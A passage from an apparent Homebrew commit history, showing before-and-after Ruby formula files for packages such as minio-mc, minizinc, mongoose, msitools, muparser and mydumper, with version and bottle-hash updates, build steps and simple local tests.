"5e9b62fe1239091ea9b2893cd00ffe1bcbdd9371f4e1d35fac595c98c5856cbb" end resource "atk" do url "https://rubygems.org/downloads/atk-3.4.1.gem" sha256 "88240dd7f28f38d05349363585827df2da258412c531744bf18f74e3824a1829" end resource "cairo" do url "https://rubygems.org/downloads/cairo-1.16.5.gem" sha256 "f11f243d74b6902bb0306c860e17b8be530883a617b0ece1abe488ab40085bba" end resource "cairo-gobject" do url "https://rubygems.org/downloads/cairo-gobject-3.4.1.gem" sha256 "4800f1dc9720640060ba63602e235fa5f5b7469434c68788ce3c6f46b56b7d3e" end resource "delayer" do url "https://rubygems.org/downloads/delayer-1.0.2.gem" sha256 "b5bc78b8d1b484021d91ce630e9d10b4a87ccd8925b2760799f3193d38203842" end resource "delayer-deferred" do url "https://rubygems.org/downloads/delayer-deferred-2.1.3.gem" sha256 "cd1464eb228d4c08ba29af200a28892dde32c4d3f39e6fe6300c7a3c148686de" end resource "diva" do url "https://rubygems.org/downloads/diva-1.0.2.gem" sha256 "4f702b8fee7e737847c25324807f47206d4402969f929b2d7976ef531e279417" end resource "gdk_pixbuf2" do url "https://rubygems.org/downloads/gdk_pixbuf2-3.4.1.gem" sha256 "55dd9255105b81954c3f49c0669e26262380eea634b323017454c509ec7f2405" end resource "gettext" do url "https://rubygems.org/gems/gettext-3.3.5.gem" sha256 "955f115e1099ea705949c4e221164efdbbf07ec6e148131a777873c0f419bb04" end resource "gio2" do url "https://rubygems.org/downloads/gio2-3.4.1.gem" sha256 "efd470c1b32641bce0df4ec689a2770d19503a7f98cd5b19eca5acddd6bb72d0" end resource "glib2" do url "https://rubygems.org/downloads/glib2-3.4.1.gem" sha256 "2c60c23752cb62cd82feab5d640844876e6e1a5e2226372d550582eb80f594a1" end resource "gobject-introspection" do url "https://rubygems.org/downloads/gobject-introspection-3.4.1.gem" sha256 "5680367a577bc1d5a0145d8da26a516b946c0c2f14c91f411f5d2d1d23467da8" end resource "gtk2" do url "https://rubygems.org/downloads/gtk2-3.4.1.gem" sha256 "ad8ae7763cc3e8658e8dd4eca31a639880b8d485e2c9d52648fffb60c1435f9d" end resource "httpclient" do url "https://rubygems.org/gems/httpclient-2.8.3.gem" sha256 "2951e4991214464c3e92107e46438527d23048e634f3aee91c719e0bdfaebda6" end resource "instance_storage" do url "https://rubygems.org/gems/instance_storage-1.0.0.gem" sha256 "f41e64da2fe4f5f7d6c8cf9809ef898e660870f39d4e5569c293b584a12bce22" end resource "locale" do url "https://rubygems.org/downloads/locale-2.1.3.gem" sha256 "b6ddee011e157817cb98e521b3ce7cb626424d5882f1e844aafdee3e8b212725" end resource "memoist" do url "https://rubygems.org/downloads/memoist-0.16.2.gem" sha256 "a52c53a3f25b5875151670b2f3fd44388633486dc0f09f9a7150ead1e3bf3c45" end resource "mini_portile2" do url "https://rubygems.org/gems/mini_portile2-2.4.0.gem" sha256 "7e178a397ad62bb8a96977986130dc81f1b13201c6dd95a48bd8cec1dda5f797" end resource "moneta" do url "https://rubygems.org/downloads/moneta-1.3.0.gem" sha256 "38ffd4f10d3a2f48ad8362eaf63f619da89ca2b5d5a0bae2f8447ce4880f9590" end resource "native-package-installer" do url "https://rubygems.org/downloads/native-package-installer-1.0.9.gem" sha256 "80bad0273706eeb4fc49ac8fa589b25eb6728c85a09fd241c8f0f06bdca32c5e" end resource "nokogiri" do url "https://rubygems.org/downloads/nokogiri-1.10.9.gem" sha256 "d562108c5cdf7e9208c267107a0a54581d868689aefed9c5480898bb4033478a" end resource "oauth" do url "https://rubygems.org/gems/oauth-0.5.4.gem" sha256 "3e017ed1c107eb6fe42c977b78c8a8409249869032b343cf2f23ac80d16b5fff" end resource "pango" do url "https://rubygems.org/downloads/pango-3.4.1.gem" sha256 "77e14073e93bbddb53ad6e3debf3e054f5444de4e2748c36cb2ede8741b10cb4" end resource "pkg-config" do url "https://rubygems.org/downloads/pkg-config-1.4.1.gem" sha256 "dca87a58534dfc3ff61c5de1289ed6622a5bd1f5b48fb2dc7a1cc5ef8f6b4ef2" end resource "pluggaloid" do url "https://rubygems.org/gems/pluggaloid-1.2.0.gem" sha256 "108eb89db1cc35f94f69d838f673d9d501b7e1f57e8eec5e200cb1d8a4cc60bf" end resource "public_suffix" do url "https://rubygems.org/downloads/public_suffix-4.0.5.gem" sha256 "efbc976b8f8cd7e2f9387b41ad4dc5447bcc7e862cf3afd909f13b0048a3dc6f" end resource "rake" do url "https://rubygems.org/downloads/rake-13.0.1.gem" sha256 "292a08eb3064e972e3e07e4c297d54a93433439ff429e58a403ae05584fad870" end resource "text" do url "https://rubygems.org/gems/text-1.3.1.gem" sha256 "2fbbbc82c1ce79c4195b13018a87cbb00d762bda39241bb3cdc32792759dd3f4" end resource "typed-array" do url "https://rubygems.org/gems/typed-array-0.1.2.gem" sha256 "891fa1de2cdccad5f9e03936569c3c15d413d8c6658e2edfe439d9386d169b62" end # This is annoying - if the gemfile lists test group gems at all, # even if we've explicitly requested to install without them, # bundle install --cache will fail because it can't find those gems. # Handle this by modifying the gemfile to remove these gems. def gemfile_remove_test! gemfile_lines = [] test_group = false File.read("Gemfile").each_line do |line| line.chomp! # If this is the closing part of the test group, # swallow this line and then allow writing the test of the file. if test_group && line == "end" test_group = false next # If we're still inside the test group, skip writing. elsif test_group next end # If this is the start of the test group, skip writing it and mark # this as part of the group. if line.match? /group :test/ test_group = true else gemfile_lines << line end end File.open("Gemfile", "w") do |gemfile| gemfile.puts gemfile_lines.join("\n") # Unmarked dependency of atk gemfile.puts "gem 'rake','>= 13.0.1'" end end def install (lib/"mikutter/vendor").mkpath (buildpath/"vendor/cache").mkpath resources.each do |r| r.unpack buildpath/"vendor/cache" end gemfile_remove_test! system "bundle", "install", "--local", "--path=#{lib}/mikutter/vendor" rm_rf "vendor" (lib/"mikutter").install "plugin" libexec.install Dir["*"] ruby_series = Formula["ruby"].version.to_s.split(".")[0..1].join(".") env = { :DISABLE_BUNDLER_SETUP => "1", :GEM_HOME => HOMEBREW_PREFIX/"lib/mikutter/vendor/ruby/#{ruby_series}.0", :GTK_PATH => HOMEBREW_PREFIX/"lib/gtk-2.0", } (bin/"mikutter").write_env_script Formula["ruby"].opt_bin/"ruby", "#{libexec}/mikutter.rb", env pkgshare.install_symlink libexec/"core/skin" # enable other formulae to install plugins libexec.install_symlink HOMEBREW_PREFIX/"lib/mikutter/plugin" end test do (testpath/".mikutter/plugin/test_plugin/test_plugin.rb").write <<~EOS # -*- coding: utf-8 -*- Plugin.create(:test_plugin) do require 'logger' Delayer.new do log = Logger.new(STDOUT) log.info("loaded test_plugin") exit end end # this is needed in order to boot mikutter >= 3.6.0 class Post def self.primary_service nil end end EOS system bin/"mikutter", "plugin_depends", testpath/".mikutter/plugin/test_plugin/test_plugin.rb" system bin/"mikutter", "--plugin=test_plugin", "--debug" end end
class MinioMc < Formula desc "Replacement for ls, cp and other commands for object storage" homepage "https://github.com/minio/mc" url "https://github.com/minio/mc.git", :tag => "RELEASE.2019-07-31T19-17-35Z", :revision => "81eb54d14670729a7309b9fffd24a97a083819a9" version "20190731191735" bottle do cellar :any_skip_relocation sha256 "c3bab3c68c3b3e1a6a06f78f12faf204482e05b1344cfedd4965b19834fa1789" => :mojave sha256 "a089c8b72542b2b304814170c3a15ec508feafd74d81f27466175e36757ffdd0" => :high_sierra sha256 "918681ca71210bf9de459ff5bbda90cc355c7321e288a43cabe1babc12e8b50a" => :sierra end depends_on "go" => :build conflicts_with "midnight-commander", :because => "Both install a `mc` binary" def install ENV["GOPATH"] = buildpath ENV["GO111MODULE"] = "on" src = buildpath/"src/github.com/minio/mc" src.install buildpath.children src.cd do if build.head? system "go", "build", "-o", buildpath/"mc" else minio_release = `git tag --points-at HEAD`.chomp minio_version = minio_release.gsub(/RELEASE\./, "").chomp.gsub(/T(\d+)\-(\d+)\-(\d+)Z/, 'T\1:\2:\3Z') minio_commit = `git rev-parse HEAD`.chomp proj = "github.com/minio/mc" system "go", "build", "-o", buildpath/"mc", "-ldflags", <<~EOS -X #{proj}/cmd.Version=#{minio_version} -X #{proj}/cmd.ReleaseTag=#{minio_release} -X #{proj}/cmd.CommitID=#{minio_commit} EOS end end bin.install buildpath/"mc" prefix.install_metafiles end test do system bin/"mc", "mb", testpath/"test" assert_predicate testpath/"test", :exist? end end minio-mc: update 20190731191735 bottle. class MinioMc < Formula desc "Replacement for ls, cp and other commands for object storage" homepage "https://github.com/minio/mc" url "https://github.com/minio/mc.git", :tag => "RELEASE.2019-07-31T19-17-35Z", :revision => "81eb54d14670729a7309b9fffd24a97a083819a9" version "20190731191735" bottle do cellar :any_skip_relocation sha256 "b9298852f0ecbea9b8d7fcbb85d147ec608bfc31a93d68336b9627dce800b953" => :mojave sha256 "b5dca6151f4ed86f8e46fc33f4ad64801f6085cef9b82cbec9442215f0809fdd" => :high_sierra sha256 "8e1a7a9ade75f659a5fc04fbb0e2f1c36710f7f4e76d192631716d82eba3233b" => :sierra end depends_on "go" => :build conflicts_with "midnight-commander", :because => "Both install a `mc` binary" def install ENV["GOPATH"] = buildpath ENV["GO111MODULE"] = "on" src = buildpath/"src/github.com/minio/mc" src.install buildpath.children src.cd do if build.head? system "go", "build", "-o", buildpath/"mc" else minio_release = `git tag --points-at HEAD`.chomp minio_version = minio_release.gsub(/RELEASE\./, "").chomp.gsub(/T(\d+)\-(\d+)\-(\d+)Z/, 'T\1:\2:\3Z') minio_commit = `git rev-parse HEAD`.chomp proj = "github.com/minio/mc" system "go", "build", "-o", buildpath/"mc", "-ldflags", <<~EOS -X #{proj}/cmd.Version=#{minio_version} -X #{proj}/cmd.ReleaseTag=#{minio_release} -X #{proj}/cmd.CommitID=#{minio_commit} EOS end end bin.install buildpath/"mc" prefix.install_metafiles end test do system bin/"mc", "mb", testpath/"test" assert_predicate testpath/"test", :exist? end end
class MinioMc < Formula desc "Replacement for ls, cp and other commands for object storage" homepage "https://github.com/minio/mc" url "https://github.com/minio/mc.git", :tag => "RELEASE.2019-06-12T20-35-20Z", :revision => "ca26dac8e2e7d2e9b2d888e82f9edbf0873b7d2e" version "20190612203520" bottle do cellar :any_skip_relocation sha256 "64430406f2996c77a5cfa13b886d547ac3ee05892f35eb0a2ae2f4f1eb1c5713" => :mojave sha256 "6c6a082ada7f444b3e1a9ed26702b9aaeb929e3a6067576fe0a6d355d5e6fb68" => :high_sierra sha256 "abd0200368024f5f66594bc6a278433b92fffa1b74a2f22d8d939f24b4c96b9e" => :sierra end depends_on "go" => :build conflicts_with "midnight-commander", :because => "Both install a `mc` binary" def install ENV["GOPATH"] = buildpath ENV["GO111MODULE"] = "on" src = buildpath/"src/github.com/minio/mc" src.install buildpath.children src.cd do if build.head? system "go", "build", "-o", buildpath/"mc" else minio_release = `git tag --points-at HEAD`.chomp minio_version = minio_release.gsub(/RELEASE\./, "").chomp.gsub(/T(\d+)\-(\d+)\-(\d+)Z/, 'T\1:\2:\3Z') minio_commit = `git rev-parse HEAD`.chomp proj = "github.com/minio/mc" system "go", "build", "-o", buildpath/"mc", "-ldflags", <<~EOS -X #{proj}/cmd.Version=#{minio_version} -X #{proj}/cmd.ReleaseTag=#{minio_release} -X #{proj}/cmd.CommitID=#{minio_commit} EOS end end bin.install buildpath/"mc" prefix.install_metafiles end test do system bin/"mc", "mb", testpath/"test" assert_predicate testpath/"test", :exist? end end minio-mc: update 20190612203520 bottle. class MinioMc < Formula desc "Replacement for ls, cp and other commands for object storage" homepage "https://github.com/minio/mc" url "https://github.com/minio/mc.git", :tag => "RELEASE.2019-06-12T20-35-20Z", :revision => "ca26dac8e2e7d2e9b2d888e82f9edbf0873b7d2e" version "20190612203520" bottle do cellar :any_skip_relocation sha256 "ad836123473d60697b070cd8e38654fd72db847d02b525b74527e23a8209b37c" => :mojave sha256 "fea665bb4715bbe813fc1d13881bc423ffc4520515af9e1ba4b0a6db2c9dafce" => :high_sierra sha256 "e07c713ca1aedbd40e1aa268fb77696f935213bc4c22827a6965a19f2fbcb385" => :sierra end depends_on "go" => :build conflicts_with "midnight-commander", :because => "Both install a `mc` binary" def install ENV["GOPATH"] = buildpath ENV["GO111MODULE"] = "on" src = buildpath/"src/github.com/minio/mc" src.install buildpath.children src.cd do if build.head? system "go", "build", "-o", buildpath/"mc" else minio_release = `git tag --points-at HEAD`.chomp minio_version = minio_release.gsub(/RELEASE\./, "").chomp.gsub(/T(\d+)\-(\d+)\-(\d+)Z/, 'T\1:\2:\3Z') minio_commit = `git rev-parse HEAD`.chomp proj = "github.com/minio/mc" system "go", "build", "-o", buildpath/"mc", "-ldflags", <<~EOS -X #{proj}/cmd.Version=#{minio_version} -X #{proj}/cmd.ReleaseTag=#{minio_release} -X #{proj}/cmd.CommitID=#{minio_commit} EOS end end bin.install buildpath/"mc" prefix.install_metafiles end test do system bin/"mc", "mb", testpath/"test" assert_predicate testpath/"test", :exist? end end
class Minizinc < Formula desc "Medium-level constraint modeling language" homepage "https://www.minizinc.org/" url "https://github.com/MiniZinc/libminizinc/archive/2.3.0.tar.gz" sha256 "7aa04296c8c7b985906b0c550dec70822b8ff176aaf5a728a97e94673844b8e0" head "https://github.com/MiniZinc/libminizinc.git", :branch => "develop" bottle do cellar :any_skip_relocation sha256 "86d09e68602fcbd073c625408afbbfd8daffb25a7f255c5578eec35cf2dfa86a" => :mojave sha256 "18b611e96ce5dbb0258d5a5f94aa2d82c5765a4cf0ade419c7c56c1f1a8d39fa" => :high_sierra sha256 "088a5168693645eb6e72c5f7644af28d58c00386cfe2d0aed8c675924d14fcfb" => :sierra end depends_on "cmake" => :build depends_on :arch => :x86_64 def install mkdir "build" do system "cmake", "..", *std_cmake_args system "cmake", "--build", ".", "--target", "install" end end test do system bin/"mzn2doc", share/"minizinc/std/all_different.mzn" end end minizinc: update 2.3.0 bottle. class Minizinc < Formula desc "Medium-level constraint modeling language" homepage "https://www.minizinc.org/" url "https://github.com/MiniZinc/libminizinc/archive/2.3.0.tar.gz" sha256 "7aa04296c8c7b985906b0c550dec70822b8ff176aaf5a728a97e94673844b8e0" head "https://github.com/MiniZinc/libminizinc.git", :branch => "develop" bottle do cellar :any_skip_relocation sha256 "523a0ed0ebca6cca9a8fba3747ab872df946a3c8f0ccd47914d5fff390d59c5f" => :mojave sha256 "dfc74fc8ce50bc36dfb17a2e3bcca61046eb74fbccfe84821605637278b51262" => :high_sierra sha256 "269c5adacea9f4f3f900ca0e4e26ca233c7267826341507303fc26ab5baa781e" => :sierra end depends_on "cmake" => :build depends_on :arch => :x86_64 def install mkdir "build" do system "cmake", "..", *std_cmake_args system "cmake", "--build", ".", "--target", "install" end end test do system bin/"mzn2doc", share/"minizinc/std/all_different.mzn" end end
class Mongoose < Formula desc "Web server build on top of Libmongoose embedded library" homepage "https://github.com/cesanta/mongoose" url "https://github.com/cesanta/mongoose/archive/7.8.tar.gz" sha256 "55073dcd427ab9475731ad855e417884f4fbfb24b7d5694f6cabadbee1329f16" license "GPL-2.0-only" revision 1 bottle do sha256 cellar: :any, arm64_monterey: "992bf212139719563761c18ea86cc61339e6430ea5fdcf761f060e48cf638299" sha256 cellar: :any, arm64_big_sur: "c092c739a7b3b414f1075c44feb15eb586a2bdd6016557a2bd64b48c611bad20" sha256 cellar: :any, monterey: "5c0645061675cfc9456f526440970a56b0da2effb92aa1f25f2027269256226f" sha256 cellar: :any, big_sur: "8af167d5c4661a8718e48e4c14dcecd9c0b6b18b154667f76e6ad0bb12ae4e17" sha256 cellar: :any, catalina: "8b5423fb4baa91153431a4fcd01623004444c4e202aa51a7c0b9922213cb53f5" sha256 cellar: :any_skip_relocation, x86_64_linux: "df63b1647338abd665c74e5d73ddf56bd8304b199aa9963ceac77b63f1bd764c" end depends_on "openssl@1.1" conflicts_with "suite-sparse", because: "suite-sparse vendors libmongoose.dylib" def install # No Makefile but is an expectation upstream of binary creation # https://github.com/cesanta/mongoose/issues/326 cd "examples/http-server" do system "make", "mongoose_mac", "PROG=mongoose_mac" bin.install "mongoose_mac" => "mongoose" end system ENV.cc, "-dynamiclib", "mongoose.c", "-o", "libmongoose.dylib" if OS.mac? if OS.linux? system ENV.cc, "-fPIC", "-c", "mongoose.c" system ENV.cc, "-shared", "-Wl,-soname,libmongoose.so", "-o", "libmongoose.so", "mongoose.o", "-lc", "-lpthread" end lib.install shared_library("libmongoose") include.install "mongoose.h" pkgshare.install "examples" doc.install Dir["docs/*"] end test do (testpath/"hello.html").write <<~EOS <!DOCTYPE html> <html> <head> <title>Homebrew</title> </head> <body> <p>Hi!</p> </body> </html> EOS begin pid = fork { exec "#{bin}/mongoose" } sleep 2 assert_match "Hi!", shell_output("curl http://localhost:8000/hello.html") ensure Process.kill("SIGINT", pid) Process.wait(pid) end end end mongoose: update 7.8_1 bottle. class Mongoose < Formula desc "Web server build on top of Libmongoose embedded library" homepage "https://github.com/cesanta/mongoose" url "https://github.com/cesanta/mongoose/archive/7.8.tar.gz" sha256 "55073dcd427ab9475731ad855e417884f4fbfb24b7d5694f6cabadbee1329f16" license "GPL-2.0-only" revision 1 bottle do sha256 cellar: :any, arm64_monterey: "99d54b7eb04da840546b5f6cd75dd639f75511cfae270dac63ad969eeb564e3f" sha256 cellar: :any, arm64_big_sur: "6b13a569ff067da50f3a34fa551d3f7d1037f3234aeac6a4f491f88b46d4c339" sha256 cellar: :any, monterey: "5309253949c1309a1a05ae2ed7bfdad0a89e6ea6198e63c1ca537b650cae76c8" sha256 cellar: :any, big_sur: "3a83ba20f3893bc9d12ec35e0fd630adc6175e76b7646b787b5796843229e574" sha256 cellar: :any, catalina: "a44483088dace829578d9fbc0bd459c2137b67d9fe940d5ab03a6329e1dc5a09" sha256 cellar: :any_skip_relocation, x86_64_linux: "b22f7511e5a7d3f12789d62ee57477ea34f3cc97948a07b080b1a1353f0e58c0" end depends_on "openssl@1.1" conflicts_with "suite-sparse", because: "suite-sparse vendors libmongoose.dylib" def install # No Makefile but is an expectation upstream of binary creation # https://github.com/cesanta/mongoose/issues/326 cd "examples/http-server" do system "make", "mongoose_mac", "PROG=mongoose_mac" bin.install "mongoose_mac" => "mongoose" end system ENV.cc, "-dynamiclib", "mongoose.c", "-o", "libmongoose.dylib" if OS.mac? if OS.linux? system ENV.cc, "-fPIC", "-c", "mongoose.c" system ENV.cc, "-shared", "-Wl,-soname,libmongoose.so", "-o", "libmongoose.so", "mongoose.o", "-lc", "-lpthread" end lib.install shared_library("libmongoose") include.install "mongoose.h" pkgshare.install "examples" doc.install Dir["docs/*"] end test do (testpath/"hello.html").write <<~EOS <!DOCTYPE html> <html> <head> <title>Homebrew</title> </head> <body> <p>Hi!</p> </body> </html> EOS begin pid = fork { exec "#{bin}/mongoose" } sleep 2 assert_match "Hi!", shell_output("curl http://localhost:8000/hello.html") ensure Process.kill("SIGINT", pid) Process.wait(pid) end end end
class Msitools < Formula desc "Windows installer (.MSI) tool" homepage "https://wiki.gnome.org/msitools" url "https://download.gnome.org/sources/msitools/0.96/msitools-0.96.tar.xz" sha256 "1b3e194a94747362a2d8d9b7c512c540ccb69e4dbd1dbc2d999a8a44d0b6729e" bottle do sha256 "2231e9c191d93b7696057471e279d78aae5caf47adf7d6d59995885e0fe3e7e5" => :sierra sha256 "4b8f1ad913f8f23d42f1e77a716bf3af7a3d134edb98f3f0209357751a2dcbf6" => :el_capitan sha256 "f64cfce287c9b2c4430524f51db8c69b53432e6fefbedf1dd893b0bd35d80dcf" => :yosemite end depends_on "intltool" => :build depends_on "pkg-config" => :build depends_on "e2fsprogs" depends_on "gcab" depends_on "gettext" depends_on "glib" depends_on "libgsf" depends_on "vala" def install system "./configure", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make", "install" end test do # wixl-heat: make an xml fragment assert_match /<Fragment>/, pipe_output("#{bin}/wixl-heat --prefix test") # wixl: build two installers 1.upto(2) do |i| (testpath/"test#{i}.txt").write "abc" (testpath/"installer#{i}.wxs").write <<-EOS.undent <?xml version="1.0"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="DADAA9FC-54F7-4977-9EA1-8BDF6DC73C7#{i}" Name="Test" Version="1.0.0" Manufacturer="BigCo" Language="1033"> <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFilesFolder"> <Directory Id="INSTALLDIR" Name="test"> <Component Id="ApplicationFiles" Guid="52028951-5A2A-4FB6-B8B2-73EF49B320F#{i}"> <File Id="ApplicationFile1" Source="test#{i}.txt"/> </Component> </Directory> </Directory> </Directory> <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/> </Feature> </Product> </Wix> EOS system "#{bin}/wixl", "-o", "installer#{i}.msi", "installer#{i}.wxs" assert File.exist?("installer#{i}.msi") end # msidiff: diff two installers lines = `#{bin}/msidiff --list installer1.msi installer2.msi 2>/dev/null`.split("\n") assert_equal 0, $CHILD_STATUS.exitstatus assert_equal "-Program Files/test/test1.txt", lines[-2] assert_equal "+Program Files/test/test2.txt", lines[-1] # msiinfo: show info for an installer out = `#{bin}/msiinfo suminfo installer1.msi` assert_equal 0, $CHILD_STATUS.exitstatus assert_match /Author: BigCo/, out # msiextract: extract files from an installer mkdir "files" system "#{bin}/msiextract", "--directory", "files", "installer1.msi" assert_equal (testpath/"test1.txt").read, (testpath/"files/Program Files/test/test1.txt").read # msidump: dump tables from an installer mkdir "idt" system "#{bin}/msidump", "--directory", "idt", "installer1.msi" assert File.exist?("idt/File.idt") # msibuild: replace a table in an installer system "#{bin}/msibuild", "installer1.msi", "-i", "idt/File.idt" end end msitools 0.97 Closes #16241. Signed-off-by: ilovezfs <fbd54dbbcf9e596abad4ccdc4dfc17f80ebeaee2@icloud.com> class Msitools < Formula desc "Windows installer (.MSI) tool" homepage "https://wiki.gnome.org/msitools" url "https://download.gnome.org/sources/msitools/0.97/msitools-0.97.tar.xz" sha256 "3a5b286c9ae3a7b7126a4a95506d12f34ac91e1a564c99e67d9644fee88fc65e" bottle do sha256 "2231e9c191d93b7696057471e279d78aae5caf47adf7d6d59995885e0fe3e7e5" => :sierra sha256 "4b8f1ad913f8f23d42f1e77a716bf3af7a3d134edb98f3f0209357751a2dcbf6" => :el_capitan sha256 "f64cfce287c9b2c4430524f51db8c69b53432e6fefbedf1dd893b0bd35d80dcf" => :yosemite end depends_on "intltool" => :build depends_on "pkg-config" => :build depends_on "e2fsprogs" depends_on "gcab" depends_on "gettext" depends_on "glib" depends_on "libgsf" depends_on "vala" def install system "./configure", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make", "install" end test do # wixl-heat: make an xml fragment assert_match /<Fragment>/, pipe_output("#{bin}/wixl-heat --prefix test") # wixl: build two installers 1.upto(2) do |i| (testpath/"test#{i}.txt").write "abc" (testpath/"installer#{i}.wxs").write <<-EOS.undent <?xml version="1.0"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="DADAA9FC-54F7-4977-9EA1-8BDF6DC73C7#{i}" Name="Test" Version="1.0.0" Manufacturer="BigCo" Language="1033"> <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFilesFolder"> <Directory Id="INSTALLDIR" Name="test"> <Component Id="ApplicationFiles" Guid="52028951-5A2A-4FB6-B8B2-73EF49B320F#{i}"> <File Id="ApplicationFile1" Source="test#{i}.txt"/> </Component> </Directory> </Directory> </Directory> <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/> </Feature> </Product> </Wix> EOS system "#{bin}/wixl", "-o", "installer#{i}.msi", "installer#{i}.wxs" assert File.exist?("installer#{i}.msi") end # msidiff: diff two installers lines = `#{bin}/msidiff --list installer1.msi installer2.msi 2>/dev/null`.split("\n") assert_equal 0, $CHILD_STATUS.exitstatus assert_equal "-Program Files/test/test1.txt", lines[-2] assert_equal "+Program Files/test/test2.txt", lines[-1] # msiinfo: show info for an installer out = `#{bin}/msiinfo suminfo installer1.msi` assert_equal 0, $CHILD_STATUS.exitstatus assert_match /Author: BigCo/, out # msiextract: extract files from an installer mkdir "files" system "#{bin}/msiextract", "--directory", "files", "installer1.msi" assert_equal (testpath/"test1.txt").read, (testpath/"files/Program Files/test/test1.txt").read # msidump: dump tables from an installer mkdir "idt" system "#{bin}/msidump", "--directory", "idt", "installer1.msi" assert File.exist?("idt/File.idt") # msibuild: replace a table in an installer system "#{bin}/msibuild", "installer1.msi", "-i", "idt/File.idt" end end
class Muparser < Formula desc "C++ math expression parser library" homepage "http://muparser.beltoforion.de/" url "https://docs.google.com/uc?export=download&id=0BzuB-ydOOoduejdwdTQwcF9JLTA" version "2.2.4" sha256 "fe4e207b9b5ee0e8ba155c3a7cc22ea6085313e0a17b7568a8a86eaa0d441431" head "http://muparser.googlecode.com/svn/trunk/" bottle do cellar :any sha256 "3d580042b67b5f23bb7c255baaf6c079e030516afc7f0bb25d3978259628f098" => :yosemite sha256 "6e4a1373a02ff289d474514fdffc77a80cebf30e37fb5fe51f2dd9c659163bf4" => :mavericks sha256 "b3ca223c600162789f56a26d73db8b086234a16923d0db6c346f2accef30d829" => :mountain_lion end def install chmod 0755, "./configure" system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make", "install" end test do (testpath/"test.cpp").write <<-EOS.undent #include <iostream> #include "muParser.h" double MySqr(double a_fVal) { return a_fVal*a_fVal; } int main(int argc, char* argv[]) { using namespace mu; try { double fVal = 1; Parser p; p.DefineVar("a", &fVal); p.DefineFun("MySqr", MySqr); p.SetExpr("MySqr(a)*_pi+min(10,a)"); for (std::size_t a=0; a<100; ++a) { fVal = a; // Change value of variable a std::cout << p.Eval() << std::endl; } } catch (Parser::exception_type &e) { std::cout << e.GetMsg() << std::endl; } return 0; } EOS system ENV.cxx, "-I#{include}", "-L#{lib}", "-lmuparser", testpath/"test.cpp", "-o", testpath/"test" system "./test" end end muparser 2.2.5 Closes Homebrew/homebrew#49059. Signed-off-by: Martin Afanasjew <54669547a225ff20cba8b75a4adca540eef25858@afanasjew.de> class Muparser < Formula desc "C++ math expression parser library" homepage "http://muparser.beltoforion.de/" url "https://github.com/beltoforion/muparser/archive/v2.2.5.tar.gz" sha256 "0666ef55da72c3e356ca85b6a0084d56b05dd740c3c21d26d372085aa2c6e708" head "https://github.com/beltoforion/muparser.git" bottle do cellar :any sha256 "3d580042b67b5f23bb7c255baaf6c079e030516afc7f0bb25d3978259628f098" => :yosemite sha256 "6e4a1373a02ff289d474514fdffc77a80cebf30e37fb5fe51f2dd9c659163bf4" => :mavericks sha256 "b3ca223c600162789f56a26d73db8b086234a16923d0db6c346f2accef30d829" => :mountain_lion end option :universal def install ENV.universal_binary if build.universal? system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make", "install" end test do (testpath/"test.cpp").write <<-EOS.undent #include <iostream> #include "muParser.h" double MySqr(double a_fVal) { return a_fVal*a_fVal; } int main(int argc, char* argv[]) { using namespace mu; try { double fVal = 1; Parser p; p.DefineVar("a", &fVal); p.DefineFun("MySqr", MySqr); p.SetExpr("MySqr(a)*_pi+min(10,a)"); for (std::size_t a=0; a<100; ++a) { fVal = a; // Change value of variable a std::cout << p.Eval() << std::endl; } } catch (Parser::exception_type &e) { std::cout << e.GetMsg() << std::endl; } return 0; } EOS system ENV.cxx, "-I#{include}", "-L#{lib}", "-lmuparser", testpath/"test.cpp", "-o", testpath/"test" system "./test" end end
class Mydumper < Formula desc "How MySQL DBA & support engineer would imagine 'mysqldump' ;-)" homepage "https://launchpad.net/mydumper" url "https://github.com/maxbube/mydumper/archive/v0.11.3.tar.gz" sha256 "ddd0427f572467589cdb024a4ef746d30b4214c804954612f4e07510607cf7a7" license "GPL-3.0-or-later" bottle do sha256 cellar: :any, arm64_big_sur: "3809c5584af68614529990810504ec3e5b754b103efbabbd2183ec2c6f02986e" sha256 cellar: :any, big_sur: "81640fc32d0cedf6ee428fdede75452f62b0404bc7195b15df1a52725d01c57e" sha256 cellar: :any, catalina: "2970e1b0cbe118d91cb28cbec52da2458debbdce93dc87c48009225b6c4fa3b2" sha256 cellar: :any_skip_relocation, x86_64_linux: "fe0119b21d41a1bd02dbd16a8a7e3fb9682e00b820e948a8d08e635a30dfa75e" end depends_on "cmake" => :build depends_on "pkg-config" => :build depends_on "sphinx-doc" => :build depends_on "glib" depends_on "mysql-client" depends_on "openssl@1.1" depends_on "pcre" uses_from_macos "zlib" on_linux do depends_on "gcc" end fails_with gcc: "5" def install # Override location of mysql-client args = std_cmake_args + %W[ -DMYSQL_CONFIG_PREFER_PATH=#{Formula["mysql-client"].opt_bin} -DMYSQL_LIBRARIES=#{Formula["mysql-client"].opt_lib/shared_library("libmysqlclient")} ] # find_package(ZLIB) has trouble on Big Sur since physical libz.dylib # doesn't exist on the filesystem. Instead provide details ourselves: if OS.mac? args << "-DCMAKE_DISABLE_FIND_PACKAGE_ZLIB=1" args << "-DZLIB_INCLUDE_DIRS=/usr/include" args << "-DZLIB_LIBRARIES=-lz" end system "cmake", ".", *args system "make", "install" end test do system bin/"mydumper", "--help" end end mydumper 0.11.3-5 Closes #91122. Signed-off-by: Michka Popoff <5d406f95fb0e0230f83654e4a22d0115cc205d59@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Mydumper < Formula desc "How MySQL DBA & support engineer would imagine 'mysqldump' ;-)" homepage "https://launchpad.net/mydumper" url 